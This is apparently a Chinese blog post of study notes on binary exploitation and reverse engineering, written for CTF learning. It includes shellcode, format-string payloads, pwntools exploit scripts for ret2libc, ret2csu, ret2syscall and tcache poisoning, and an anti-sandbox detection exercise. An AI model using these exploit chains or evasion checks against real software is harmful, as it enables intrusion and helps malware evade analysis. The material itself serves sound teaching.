mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7mobile wallpaper 8mobile wallpaper 9mobile wallpaper 10mobile wallpaper 11mobile wallpaper 12mobile wallpaper 13
4549 字
14 分鐘
二进制安全与逆向工程
2026-04-27

第 9 章 二进制安全与逆向工程#

9.1 学习目标#

  1. 掌握 x86_64 汇编基础、ELF/PE 文件结构、调用约定。
  2. 熟练使用 IDA Pro / Ghidra / Radare2 / gdb 进行静态与动态逆向。
  3. 吃透 栈溢出、堆溢出、格式化字符串、整数溢出 等经典漏洞原理。
  4. 能写出 ret2text / ret2libc / ret2csu / ROP 链的利用代码。

9.2 先修:x86_64 汇编速查#

9.2.1 寄存器#

寄存器用途
rax返回值、系统调用号
rdi rsi rdx rcx r8 r9前 6 个函数参数(SysV ABI)
rsp栈顶指针
rbp栈基址(部分场景)
rip指令指针
rflags标志位(ZF/CF/SF/OF/DF/IF)

9.2.2 System V AMD64 调用约定#

参数顺序:RDI, RSI, RDX, RCX, R8, R9, (栈)
返回值:RAX (、RDX)
被调用者保存:RBX, RBP, R12-R15
caller 保存:其余
栈 16 字节对齐(call 前)

9.2.3 系统调用#

; read(0, buf, 0x100)
mov rax, 0
mov rdi, 0
mov rsi, buf
mov rdx, 0x100
syscall
; execve("/bin/sh", 0, 0) —— 系统调用号 59
mov rax, 59
lea rdi, [rel binsh]
xor rsi, rsi
xor rdx, rdx
syscall

9.3 ELF 文件结构#

ELF Header → 类型、架构、入口点 e_entry
Program Headers (Phdr) → 运行时段:PT_LOAD / PT_DYNAMIC / PT_INTERP
Section Headers (Shdr) → 静态节:.text .data .bss .plt .got .rodata

9.3.1 关键节#

内容
.text可执行代码
.rodata只读数据(字符串常量)
.data已初始化可写数据
.bss未初始化全局变量
.plt / .got动态符号解析(延迟绑定)
.init_array / .fini_array构造 / 析构函数

9.3.2 常用工具#

file ./bin # 查看架构 / static or dynamic
checksec --file=./bin # 安全保护措施(pwntools 提供)
readelf -a ./bin
objdump -d -M intel ./bin
strings ./bin | grep -i flag
nm ./bin | grep " T " # 导出符号
ldd ./bin # 依赖库

9.3.3 checksec 结果解读#

Arch: amd64-64-little
RELRO: Full RELRO # GOT 只读
Stack: Canary found # 栈溢出检测
NX: NX enabled # 栈不可执行
PIE: PIE enabled # 地址随机化
FORTIFY: No
  • 防护越多,利用越难;结合 信息泄露 是绕过的关键。

9.4 经典漏洞原理#

9.4.1 栈溢出(Stack Overflow)#

void vuln() {
char buf[64];
gets(buf); // 不检查长度
}
高地址 ──────────────
返回地址 RIP ← 被覆盖后控制执行流
保存的 RBP
buf[64] ← 用户可写
低地址 ──────────────

利用流程:

  1. 无保护:直接覆盖 RIP → shellcode 地址(NX 关闭)。
  2. NX 开:ret2text / ret2libc / ROP。
  3. PIE 开:需要信息泄露(leak 一个函数地址,恢复基址)。
  4. Canary 开:需要信息泄露(格式化字符串 / 字节爆破)绕过 canary。

9.4.2 格式化字符串(Format String)#

printf(user_input); // ← 应该写成 printf("%s", user_input)
  • %x %x %x %x:泄露栈上数据。
  • %s:配合地址泄露任意内存。
  • %n:任意地址写入(%hn%hhn 控制字节数)。

典型 payload:

%8$p ; 泄露第 8 个参数
"\x10\x20\x30\x40%7$hhn" ; 向 0x40302010 写 X 字节

9.4.3 堆漏洞(Heap Corruption)#

glibc ptmalloc 常见姿势:

  • UAF (Use After Free):释放后仍使用指针 → fake chunk / hijack 函数指针。
  • Double Free:触发 tcache/fastbin 攻击。
  • Off-by-one / Overflow:覆盖下一个 chunk 的 size 位 → Unlink / House of X。
  • tcache poisoning(glibc 2.26+):
    1. free 两个同大小 chunk;
    2. 改写 tcache entry 的 next 指针;
    3. 连续 malloc → 返回目标地址。

9.4.4 整数溢出#

int size = read_int();
if (size > 100) return;
char *p = malloc(size * sizeof(int)); // 若 size < 0 → 小 chunk
read(0, p, size * sizeof(int)); // 写超界

9.5 ROP(Return-Oriented Programming)#

9.5.1 思路#

当栈不可执行(NX)时,用已有代码片段(gadget)拼接出等价功能。

pop rdi; ret ; 设置参数 1
pop rsi; pop r15; ret ; 设置参数 2
; call function

9.5.2 pwntools 范例#

from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
io = process('./vuln')
# Stage 1:leak puts@got
pop_rdi = 0x4011c3
payload = b'A' * 72
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts']) + p64(elf.sym['main'])
io.sendlineafter(b'> ', payload)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
# Stage 2:ret2libc → system("/bin/sh")
payload = b'A' * 72
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
io.sendlineafter(b'> ', payload)
io.interactive()

9.5.3 常用 gadget 搜索#

ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./libc.so.6 --string "/bin/sh"
one_gadget ./libc.so.6 # 一键 exec shell

9.6 调试与动态分析#

9.6.1 gdb + pwndbg / GEF / peda#

gdb -q ./vuln
pwndbg> checksec
pwndbg> b main
pwndbg> r
pwndbg> vmmap # 内存映射
pwndbg> telescope $rsp 20 # 栈观察
pwndbg> heap / bins # 堆结构
pwndbg> pattern create 200 # 生成模式串
pwndbg> pattern search # 偏移定位

9.6.2 IDA / Ghidra#

  • IDA:商业标杆,F5 反编译(Hex-Rays Decompiler)。
  • Ghidra:NSA 开源;跨平台 + 多架构;支持脚本(Python/Java)。
  • Binary Ninja:社区活跃,API 友好。
  • Radare2 / Rizin + Cutter:命令行 + GUI 组合。

9.6.3 反调试与加壳#

  • 反调试:ptrace(PTRACE_TRACEME)/proc/self/status 检测 TracerPid、时间差。
  • 加壳:UPX(upx -d 脱壳);商业壳用 x64dbg + Scylla Dump。

9.7 Windows PE 逆向入门#

结构说明
DOS Header → NT Header → Section HeaderPE 文件头
.text代码段
.rdata只读数据 / 导入表 (IAT)
.data可写数据
.rsrc资源(图标、版本信息)
  • 工具:PE-bearDetect It Easy (DiE)x64dbgAPI Monitor
  • Windows 漏洞:SEH 覆盖、GS、ASLR、CFG、CET(Shadow Stack)。

9.8 常见 CTF Pwn 题型一览#

题型利用核心
ret2text控制流跳到已有 backdoor
ret2libcleak libc → system("/bin/sh")
ret2csu利用 __libc_csu_init 万能 gadget
Canary + 格式化字符串先 leak canary 再栈溢出
tcache poisoning劫持堆分配到任意地址
Fastbin attack把 chunk 挂到 __malloc_hook
Off-by-null修改前一个 chunk 的 prev_size 实现重叠
House of Orange / Force特定漏洞触发 IO 流 + FILE 攻击

9.9 防御侧:编译器与系统缓解#

措施含义编译参数
NX / DEP栈 & 堆不可执行-z noexecstack
ASLR / PIE地址随机化-fPIE -pie
Canary栈金丝雀-fstack-protector-strong
FORTIFY_SOURCE运行时检查 strcpy/memcpy 长度-D_FORTIFY_SOURCE=2 -O2
RELROGOT 只读-Wl,-z,relro,-z,now
CFI / CET控制流完整性Clang -fsanitize=cfi、Intel CET

Sanitizer(开发期):

# 地址越界
clang -fsanitize=address,undefined -g demo.c
# 内存泄漏
clang -fsanitize=leak demo.c
# 线程
clang -fsanitize=thread demo.c

9.10 学习路线建议#

第 1 步:跟完 CSAPP 第 3 / 7 / 9 章 → 理解机器语言 + 链接 + 虚拟内存
第 2 步:pwn.college / ROP Emporium 练 20 道入门题
第 3 步:CTF 做题:PicoCTF / pwnable.tw / pwnable.kr
第 4 步:读《黑客之道》《Reversing》《深入浅出 Ghidra》
第 5 步:每月打 1 场线上 CTF
第 6 步:尝试真实 CVE(LibTIFF / OpenSSL)复现 → 写 PoC

9.11 练习题#

  1. 写一个 64 位 Linux 下的 shellcode(不含 \x00),调用 execve("/bin/sh", 0, 0),并在 checksec = No canary / NX disabled 的环境下成功利用。
  2. checksec = Full protection 的环境下,用 ret2libc 获取 shell,并分析每一步为什么能绕过保护。
  3. 分析 libc 2.27 下 tcache poisoning 的完整流程,并写出最小 PoC。
  4. 用 Ghidra 逆向一个 crackme,反编译后找到 flag 校验算法并写出求解脚本。

9.12 x86_64 汇编进阶#

9.12.1 全部寻址模式#

mov rax, [rbx] ; 直接
mov rax, [rbx + 0x10] ; 偏移
mov rax, [rbx + rcx*8] ; 索引
mov rax, [rbx + rcx*8 + 16] ; SIB + 偏移
mov rax, [rip + 0x100] ; PC 相对(PIE 关键)

9.12.2 SIMD / SSE / AVX 速览#

  • xmm0..xmm15(128 bit)、ymm0..ymm15(256 bit)、zmm0..zmm31(512 bit)
  • 浮点运算 vaddps / vmulps
  • 内存复制 vmovdqu、向量比较 vpcmpeqb
  • 字符串库(memcpy / strchr)现代实现常用 SIMD,逆向时见到大量 xmm 不要慌

9.12.3 常用指令家族#

家族例子
数据传送movleapushpopxchg
算术addsubimulidivneg
逻辑andorxornotshlshr
控制jmpjz/jnz/je/jne/jg/jlcallret
字符串movscmpsscasstos
系统syscallsysenterint 0x80

9.12.4 Windows x64 调用约定差异#

特性SysV (Linux)MS x64 (Windows)
前 4 整数参数rdi rsi rdx rcxrcx rdx r8 r9
浮点参数xmm0..xmm7xmm0..xmm3
Shadow space不需要32 字节
被调用者保存rbx rbp r12-r15rbx rbp rdi rsi r12-r15 xmm6-xmm15

逆向 Windows 二进制时务必区分调用约定。


9.13 ELF 加载流程深入#

execve("/bin/prog", argv, envp)
内核:
- 验证 ELF magic
- 读取 PT_INTERP(通常 /lib64/ld-linux-x86-64.so.2)
- 加载 PT_LOAD 段到内存
- 跳转到动态链接器 ld.so 的入口
ld.so:
- 解析 PT_DYNAMIC(DT_NEEDED 列出依赖 libc 等)
- mmap 共享库到进程
- 处理重定位:
R_X86_64_GLOB_DAT → .got 项填充
R_X86_64_JUMP_SLOT → .got.plt 项填充(延迟绑定时由 _dl_runtime_resolve 填)
- 调用 .preinit_array / .init / .init_array
程序入口 _start
→ __libc_start_main(main, argc, argv, ...)
→ main()

9.13.1 GOT / PLT 图示#

; 第一次调用 puts:
puts@plt:
jmp [puts@got.plt] ; 此时该地址指向 plt+6
push <reloc_index>
jmp [_dl_runtime_resolve]
; 解析后回填 puts@got.plt → libc 的 puts 真实地址
; 第二次调用 puts:
jmp [puts@got.plt] ; 直接跳真实地址

延迟绑定(lazy binding)也是 ret2dlresolve 利用的基础。

9.13.2 Full RELRO vs Partial RELRO#

  • Partial:.got.plt 仍可写
  • Full:所有 GOT 项程序启动时一次性解析并设为只读
  • 利用差异:Partial 可改 .got.plt[puts] → system

9.14 堆漏洞家族(House of X)#

名称核心
House of Forcetop chunk size 改大 → malloc 任意地址
House of Orange利用 top chunk 切割 + sysmalloc → 释放假 unsorted bin → fake _IO_FILE 攻击
House of Romantcache 与 IO 链组合
House of Einherjar利用 chunk 重叠通过 backward consolidation
House of Husk利用 printf 的字符函数表
House of Stormunsorted bin + large bin 任意写
House of Spirit把栈上数据伪造成 chunk 释放

9.14.1 fastbin / tcache 链结构#

tcache (glibc 2.26+) — 单链表:
[tcache_perthread_struct]
bins[64] → next chunk → next ...
fastbin(仍存在):
fastbinsY[7] → ... 同样单链表

利用:双重释放 + 改 next 指针 → 下次 malloc 返回任意地址。

9.14.2 glibc 版本差异防护#

版本关键变化
2.26引入 tcache
2.27tcache double-free check(每个 bin entry 一个 key)
2.29unsorted bin 改链时严格检查
2.32safe-linking:P->fd ^= (addr >> 12)
2.34+移除 __free_hook__malloc_hook__realloc_hook
2.35+_IO_FILE 利用收紧

利用必须根据目标 glibc 版本调整。


9.15 ARM64 逆向差异#

9.15.1 主要差异#

  • 所有指令固定 32 bit
  • 31 个 64 bit 通用寄存器 x0..x30sppc
  • 链接寄存器 LR(即 x30)保存返回地址
  • 调用约定:参数在 x0..x7
  • 返回:ret 实际是 br x30

9.15.2 PAC(Pointer Authentication)#

ARMv8.3+ 引入:

  • 对返回地址做 HMAC 签名
  • 攻击者覆盖 LR 后 ret 校验失败 → 触发 SIGILL
  • 绕过:泄露签名密钥(需特权)/ 利用 PAC 弱设备

9.15.3 MTE(Memory Tagging)#

ARMv8.5+:

  • 每 16 字节内存打 4 bit tag
  • 指针高位也带 4 bit tag
  • 不匹配 → 异常
  • 极大缓解 UAF / 越界访问;Pixel 8+ 启用

9.16 CPU 漏洞:Spectre / Meltdown 简述#

9.16.1 Spectre v1(Bounds Check Bypass)#

if (x < array1_size) {
y = array2[array1[x] * 4096];
}

CPU 推测执行越界 x → array2 缓存被污染 → 通过缓存侧信道还原 array1[x]

9.16.2 Meltdown#

特定 CPU 在权限校验前已经把内核数据加载进缓存 → 用户态推测执行触发缓存污染 → 还原内核内存。

9.16.3 缓解#

  • KPTI(Kernel Page Table Isolation)
  • microcode 更新
  • IBRS / IBPB / STIBP / SSBD
  • 编译器加 retpoline / lfence

9.16.4 后续家族#

L1TF、MDS、TAA、ZenBleed、Downfall、Inception ……几乎每年都有新分支;防御端 CPU 微码 + 内核缓解 + 业务隔离三层。


9.17 模糊测试 + 符号执行实战#

9.17.1 AFL++ harness#

#include <stdint.h>
#include <unistd.h>
extern void parse(const uint8_t *buf, size_t len);
#ifdef __AFL_HAVE_MANUAL_CONTROL
# include <stdint.h>
__AFL_FUZZ_INIT();
#endif
int main(void) {
__AFL_INIT();
uint8_t buf[1<<16];
while (__AFL_LOOP(10000)) {
ssize_t n = read(0, buf, sizeof(buf));
if (n > 0) parse(buf, n);
}
return 0;
}

9.17.2 KLEE 符号执行#

#include <klee/klee.h>
int main() {
int x;
klee_make_symbolic(&x, sizeof(x), "x");
if (x * x + 3 * x == 100) klee_assert(0);
return 0;
}

klee main.bc 自动给出能让 assert 触发的输入。

9.17.3 angr 路径求解#

import angr, claripy
proj = angr.Project('./bin', auto_load_libs=False)
arg = claripy.BVS('arg', 8 * 32)
state = proj.factory.entry_state(args=['./bin', arg])
sm = proj.factory.simulation_manager(state)
sm.explore(find=lambda s: b'Good' in s.posix.dumps(1),
avoid=lambda s: b'Bad' in s.posix.dumps(1))
print(sm.found[0].solver.eval(arg, cast_to=bytes))

9.18 真实 CVE 复盘#

9.18.1 OpenSSL Heartbleed (CVE-2014-0160)#

详见 Ch02。从二进制视角:memcpy(bp, pl, payload) 在用户控制 payload 长度后超量拷贝。GDB 调试时可在 dtls1_process_heartbeat 设置断点,观察 SSL 结构体内残留的内存。

9.18.2 Sudo Baron Samedit (CVE-2021-3156)#

详见 Ch03。栈缓冲区与 *sudoers_size += i; 累加导致堆越界写。

9.18.3 Polkit PwnKit (CVE-2021-4034)#

pkexec 处理 argv[] 时未检查 argc=0 边界 → 越界读 envp 指针 → 利用 GCONV_PATH= 加载恶意 gconv 模块实现提权。

9.18.4 xz-utils 后门 (CVE-2024-3094)#

链路:上游维护者被植入恶意 m4 宏 → 编译时注入 liblzma.so.5 修改 RSA_public_decrypt → 当 sshd 用此库时检查特定签名命令并执行。 震撼点:纯供应链层;OSS-Fuzz 都没发现,因为 hook 层很深。

9.18.5 Linux nftables UAF (CVE-2024-1086)#

nft_verdict_init 错误路径释放后再使用,本地用户可触发,配合堆喷射拿 root。

9.18.6 Apple iMessage BLASTPASS (CVE-2023-41064 / 41061)#

零点击:通过 PassKit 附件传 PDF + WebP → 触发 ImageIO 漏洞 → 链 BLASTDOOR 沙箱逃逸 → Pegasus 间谍软件部署。 反映出”无附件”+“无交互”的 0day 仍然存在。


9.19 防御实战:从 Compiler 到 Runtime#

9.19.1 Compiler-time#

# 推荐 hardened 编译选项
gcc -O2 -fstack-protector-strong \
-D_FORTIFY_SOURCE=2 \
-fPIE -pie \
-fcf-protection=full \
-Wl,-z,relro,-z,now -Wl,-z,noexecstack \
main.c -o main

9.19.2 Runtime#

  • ASLR:内核 randomize_va_space=2
  • KASLR:内核基址随机化
  • SMEP / SMAP:阻止内核访问用户态页
  • KPTI:Meltdown 缓解
  • KCFI / kCFI:内核控制流完整性
  • IPE / LSM:策略级控制

9.19.3 Compartmentalization#

  • WebAssembly 隔离(V8 / Wasmtime)
  • io_uring / seccomp-bpf
  • Hypervisor 级隔离(KVM / Xen / Hyper-V)
  • Confidential Computing:Intel TDX / AMD SEV-SNP / ARM CCA

9.20 练习题(扩展)#

  1. 解释 ret2csu 的工作原理,并给出在没有 pop rdi; ret gadget 时的利用思路。
  2. 给定 glibc 2.32 的 chunk + fd_nextsize ^ (chunk_addr >> 12),写一段计算 mangling 的脚本。
  3. 在 ARM64 + PAC 启用环境下写一个最小 ROP,看哪里失败。
  4. 用 angr 解一个 crackme:输入 32 字节 → 通过 5 层 SubBytes → 比较固定值。
  5. 写一段 KLEE 程序找出 int triangle(int a,b,c) 的边界条件 bug。
  6. 分析 xz-utils 后门的关键 m4 宏,并解释如何检测同类供应链植入。

参考答案要点#

  1. ret2csu 利用 __libc_csu_init 倒数 2 个 gadget 控制 rbx rbp r12 r13 r14 r15 → 调用 r15 指向的 r12 + rbx*8 函数;适合控制 3 个参数。
  2. mangled = ptr ^ ((chunk_addr) >> 12);解出原始 fd 需要知道 chunk 地址。

9.21 面试高频考点(附参考答案)#

Q1:栈溢出在现代 PIE + Canary + NX + RELRO 防护下怎么利用?

  • 通常需要先做信息泄露(leak canary + libc base),再 ROP 调 libc。

Q2:tcache poisoning 在 glibc 2.32 后还能用吗?

  • 安全链接(safe-linking)使 fd 被 mangling,需要先泄露 chunk 堆地址;额外 2.34 移除 __free_hook 后利用方式必须改攻 IO_FILE。

Q3:解释 ret2dlresolve 利用思路。

  • 伪造 Elf64_Sym + Elf64_Rela + 字符串 在可写区,调 _dl_runtime_resolve 时让 ld.so 当作合法重定位 → 解析 system

Q4:什么是 SROP?

  • Sigreturn-Oriented Programming:触发 rt_sigreturn 系统调用,从栈上读 ucontext_t 一次设置所有寄存器。

Q5:为什么 PAC 比传统 Canary 更强?

  • PAC 直接对返回地址进行加密签名,攻击者改 LR 后 sign/auth 失败;不像 canary 仅 8 字节”密码”。

Q6:Spectre 和 Meltdown 的本质差异?

  • Meltdown 跨权限边界(用户读内核);Spectre 跨不同进程边界,利用条件分支预测(v1)/ 间接跳转预测(v2)。

Q7:fuzzer 找到崩溃后下一步做什么?

  • 复现 → 最小化(afl-tmin) → 三角化(GDB / sanitizer 看错误类型) → 评估可利用性 → 编写 PoC + 报告。

Q8:什么是 CFI?

  • Control Flow Integrity,限制间接调用 / 返回只能跳到合法目标;硬件实现(Intel CET)+ 编译器实现(Clang CFI)。

Q9:xz 后门为何可怕?

  • 上游维护者长期取信社区、植入加密 stage;逻辑只在生产场景触发,难被自动化测试发现;纯供应链层。

Q10:你在做 CTF 时,发现一道堆题完全没思路怎么办?

  • 跑 checksec + libc version + 还原 free/alloc 包装 → 找哪类 chunk 进入哪类 bin → 思考 House of X 候选;实在没思路看 wp 学姿势再独立复现。

9.22 延伸阅读#

教材#

  • 《CSAPP(深入理解计算机系统)》Bryant, O’Hallaron
  • 《The Art of Software Security Assessment》Mark Dowd
  • 《Hacking: The Art of Exploitation》Jon Erickson
  • 《Practical Reverse Engineering》Bruce Dang
  • 《Hacker Disassembling Uncovered》Kris Kaspersky
  • 《Practical Binary Analysis》Dennis Andriesse

在线资源#

工具文档#

  • pwntools tutorials
  • Ghidra / IDA / Binary Ninja 官方文档
  • AFL++ wiki
  • angr docs

9.23 利用片段集(pwntools 范例 ×6)#

9.23.1 ret2text#

from pwn import *
elf = ELF('./vuln'); io = process('./vuln')
backdoor = elf.sym['win']
io.sendline(b'A'*72 + p64(backdoor))
io.interactive()

9.23.2 ret2libc#

from pwn import *
elf = ELF('./vuln'); libc = ELF('./libc.so.6'); io = process('./vuln')
pop_rdi = 0x4011c3
ret = 0x40101a
# leak
io.sendlineafter(b'> ', b'A'*72 + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
libc.address = u64(io.recvline().strip().ljust(8, b'\0')) - libc.sym['puts']
# pwn
io.sendlineafter(b'> ',
b'A'*72 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(libc.sym['system']))
io.interactive()

9.23.3 ret2csu#

from pwn import *
io = process('./vuln'); elf = ELF('./vuln')
csu_p1 = 0x40119a # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
csu_p2 = 0x401180 # mov rdi,r13; mov rsi,r14; mov rdx,r15; call [r12+rbx*8]
payload = b'A'*72
payload += p64(csu_p1)
payload += p64(0) + p64(1) + p64(elf.got['puts']) + p64(elf.got['puts']) + p64(0) + p64(0)
payload += p64(csu_p2)
payload += p64(0)*7 # padding 因 csu_p2 末尾 add rsp,8
payload += p64(elf.sym['main'])
io.sendlineafter(b'> ', payload)
io.interactive()

9.23.4 ret2syscall#

from pwn import *
context.binary = './vuln'
io = process('./vuln')
pop_rax = 0x447834 # 在静态 ELF 内
pop_rdi = 0x401e26
pop_rsi_r15 = 0x40e9e0
pop_rdx = 0x44a309
syscall = 0x466137
binsh = 0x6c0e60 # 找一个可写区域,预先用 read 写入 /bin/sh
chain = flat(
pop_rdi, binsh, pop_rsi_r15, 0, 0, pop_rdx, 0,
pop_rax, 59, syscall)
io.sendline(b'/bin/sh\0' + b'A'*64 + chain)
io.interactive()

9.23.5 格式化字符串泄露 + 写#

from pwn import *
io = process('./vuln')
io.sendline(b'%9$p')
canary = int(io.recvline(), 16)
log.info(f'canary={hex(canary)}')
# 利用 %hn 写
target = 0x404060
payload = fmtstr_payload(8, {target: 0xdead})
io.sendline(payload)
io.interactive()

9.23.6 tcache poisoning(glibc 2.31, no safe-linking)#

from pwn import *
io = process('./heapnote')
def alloc(idx, size, data):
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'idx: ', str(idx).encode())
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'data: ', data)
def free(idx):
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'idx: ', str(idx).encode())
alloc(0, 0x80, b'A')
alloc(1, 0x80, b'B')
free(0); free(1)
# 改 tcache fd 指向 __free_hook
alloc(2, 0x80, p64(libc.sym['__free_hook']))
alloc(3, 0x80, b'X') # 占位
alloc(4, 0x80, p64(libc.sym['system'])) # 落到 free_hook
alloc(5, 0x80, b'/bin/sh\0')
free(5)
io.interactive()

9.24 Windows PE 漏洞与缓解#

9.24.1 SEH 利用#

Windows 32 位下 _EXCEPTION_REGISTRATION_RECORD 链表存在栈上;溢出可改 NextHandler 指针 → 触发异常时跳到 attacker 控制点。SafeSEH / SEHOP 缓解。

类似 Linux Canary;位于函数 prolog / epilog;MSVC 默认开启。绕过:信息泄露 + 改 SEH。

9.24.3 DEP / NX#

Win 自 XP SP2 引入;ROP 标配(同 Linux)。

9.24.4 ASLR / Mandatory ASLR / Force ASLR#

需要 PE 头 IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;老程序无 ASLR 可作 ROP gadget 源。

9.24.5 CFG(Control Flow Guard)#

间接调用前查表(compiler-generated bitmap),目标必须是合法函数入口。 绕过:泄露并修改 bitmap、利用未对齐分支。

9.24.6 CET(Control-flow Enforcement Technology)#

Intel Tiger Lake+,AMD Zen 3+:

  • IBT(Indirect Branch Tracking):间接 call/jmp 后必须是 endbr64
  • Shadow Stack:硬件维护一个只允许 call/ret 写的栈,普通溢出无法改 缓解了 ROP 与传统 stack pivot。

9.24.7 Kernel Patch Protection (PatchGuard)#

x64 Windows 内核的”反 hook”:定期校验关键内核结构 hash;EDR 厂商需走官方 callback API 而非直接 patch。


9.25 macOS / iOS 二进制差异#

9.25.1 Mach-O 格式#

mach_header
load commands (LC_SEGMENT_64、LC_DYLD_INFO_ONLY、LC_CODE_SIGNATURE...)
segments + sections (__TEXT/__text、__DATA、__LINKEDIT)

工具:otool -lnm -mUhopperCutterMachOExplorer

9.25.2 Code Signing & Hardened Runtime#

  • 所有可执行必须签名
  • 硬化 runtime:禁止 unsigned 代码注入、限制 dyld 环境变量
  • 苹果 Notarization:上传给 Apple 扫描

9.25.3 SIP / TCC / Sandbox#

详见 Ch03 / Ch12;从二进制视角,攻击者经常需要绕过 dyld 注入限制 + sandbox profile。

9.25.4 iOS 越狱要点#

  • Bootrom 漏洞(checkm8 / blackbird)→ 永久越狱
  • 软件越狱:内核漏洞 + KPP / KTRR 绕过 + sandbox 突破 + Amfi 签名绕过
  • TFP0 (task_for_pid 0) 是常见目标,拿到内核 task port 即可任意读写内核内存

9.26 IoT / 嵌入式逆向#

9.26.1 工作流#

固件下载 → binwalk -e 解包 → 找到 squashfs / cpio
├── /etc/passwd 弱口令
├── /etc/shadow 离线爆破
├── 启动脚本看监听端口
├── /usr/sbin 找 Web 后台二进制
└── strings + Ghidra 反编译

9.26.2 常见架构#

  • ARM (32/64)、MIPS(big/little endian)、PowerPC、RISC-V
  • QEMU user / system mode 模拟运行
  • qemu-mips ./bin 直接跑 user binary
  • qemu-system-arm -M virt -kernel ... 跑 kernel

9.26.3 真实场景#

  • 路由器 Web 后台命令注入(多见于 D-Link / TP-Link)
  • 摄像头默认密码 + 后门口
  • 工控 PLC 固件保留调试口
  • 智能家居 BLE / Zigbee 通信缺乏鉴权

9.26.4 防御#

  • Secure Boot + 签名验证
  • 硬件加密引擎 + 主密钥保护
  • 固件 rollback 防护
  • OTA 通道加密签名 + 错误恢复

9.27 现代缓解的实战影响#

9.27.1 利用难度增量表#

缓解增量
NX+1(栈/堆不可执行 → ROP)
ASLR + PIE+2(必须信息泄露)
Canary+1(leak canary)
Full RELRO+1(GOT 不可改 → 改其他 hook / IO)
CET (IBT + SS)+3(ROP 几乎失效;需 JOP 或新姿势)
PAC + MTE+3(指针签名 + 内存标签)
KASLR + KPTI + SMAP + SMEP内核漏洞利用难度急剧上升
W^X + JIT 强化浏览器漏洞链很难做

9.27.2 攻击趋势#

  • 从单点漏洞 → 多链组合(沙箱逃逸 → 内核 → 持久化)
  • 利用代价 / 单 0day 价格上升(Pegasus 类间谍软件市场化)
  • 漏洞经济与负责任披露的平衡愈发关键

9.28 自我练习项目#

项目 P1:自写一个最小 ELF loader#

  • 解析 ELF header + PT_LOAD
  • mmap 加载段
  • 不处理动态链接
  • 跳到 entry 执行

项目 P2:从 0 写一个 Heap,复现 House of Spirit#

  • 实现简单 malloc/free(first-fit + 空闲链表)
  • 故意暴露伪造 chunk 漏洞
  • 写 PoC 触发任意写

项目 P3:玩 Linux Kernel ROP#

  • 编一个有漏洞的内核模块(slab UAF)
  • 用 SMEP / SMAP 关闭测试
  • 然后逐项打开缓解
  • 学习 modprobe_path / cred 提权

项目 P4:自写 Anti-Sandbox 检测#

  • 检测 VMware / VirtualBox / KVM
  • 检测时间加速
  • 检测鼠标移动
  • 检测进程数 / 用户数
  • 用于对抗自动沙箱(CAPE / Cuckoo)

9.29 与 AI 结合:LLM 辅助逆向#

9.29.1 现状(2026)#

  • IDA Pro 已经集成 AI Assist(基于 LLM 解释反汇编)
  • Ghidra + GPT 插件(gpt4-Ghidra / G-3PO):对反编译结果做自然语言摘要、变量重命名
  • LLM 能在熟悉算法(AES / SHA / RC4)识别上做模式匹配,但对自创复杂逻辑仍弱

9.29.2 工作流建议#

Step 1: 反编译(Ghidra / IDA)
Step 2: LLM 总结函数功能 + 推荐变量名
Step 3: 人工核对 + 修正
Step 4: 写脚本批量重命名
Step 5: 用动态调试验证关键路径

9.29.3 风险#

  • LLM 可能自信地给出错误结论
  • 不要把客户 / 涉密二进制上传到云 API → 用本地 LLM(CodeLlama / Phind / DeepSeek-Coder)

9.30 小结#

二进制安全是”动脑容量 + 细节控 + 工具链熟练度”的综合考验。 不存在一条捷径,只有反复做题、反复调试、反复读反汇编。

与其他章节的接口#

  • ← Ch07:扫描发现的内存型 CVE
  • ← Ch08:渗透中的提权 / RCE 用到二进制利用
  • → Ch10:取证视角看二进制 payload 行为
  • → Ch11:蓝队检测 ROP / shellcode 的方法
  • → Ch12:IoT / 移动端的二进制利用差异

学习节奏(12 周计划)#

  • W1-2:CSAPP 第 3/7/9 章 + 汇编入门题 20 道
  • W3-4:栈溢出 / ret2text / ret2libc,pwn.college Babymem 系列
  • W5-6:堆基础 / tcache / fastbin,how2heap 全过
  • W7-8:ROP 高级 + ret2csu / SROP
  • W9-10:House of X 谱系,做 5 道堆 CTF
  • W11:Windows PE / ARM64 入门
  • W12:选 1 个真实 CVE 复现 + 写 PoC + 写博客

心态建议#

  • 不会很正常:这是计算机科学最难的子领域之一
  • 不要看 wp 后就跳过:必须复现到能离开 wp 重写
  • 每道题写一份”为什么这么走”的笔记,半年后回头看很值钱
  • 享受 pwndbg 里那一刻 RIP 落在 system 的喜悦
分享

如果這篇文章對你有幫助,歡迎分享給更多人!

二进制安全与逆向工程
https://lemusakuya.com/posts/study-notes/network-security/09_二进制安全与逆向工程/
作者
レム・咲く夜
發布於
2026-04-27
許可協議
CC BY-NC-SA 4.0

部分資訊可能已經過時

目錄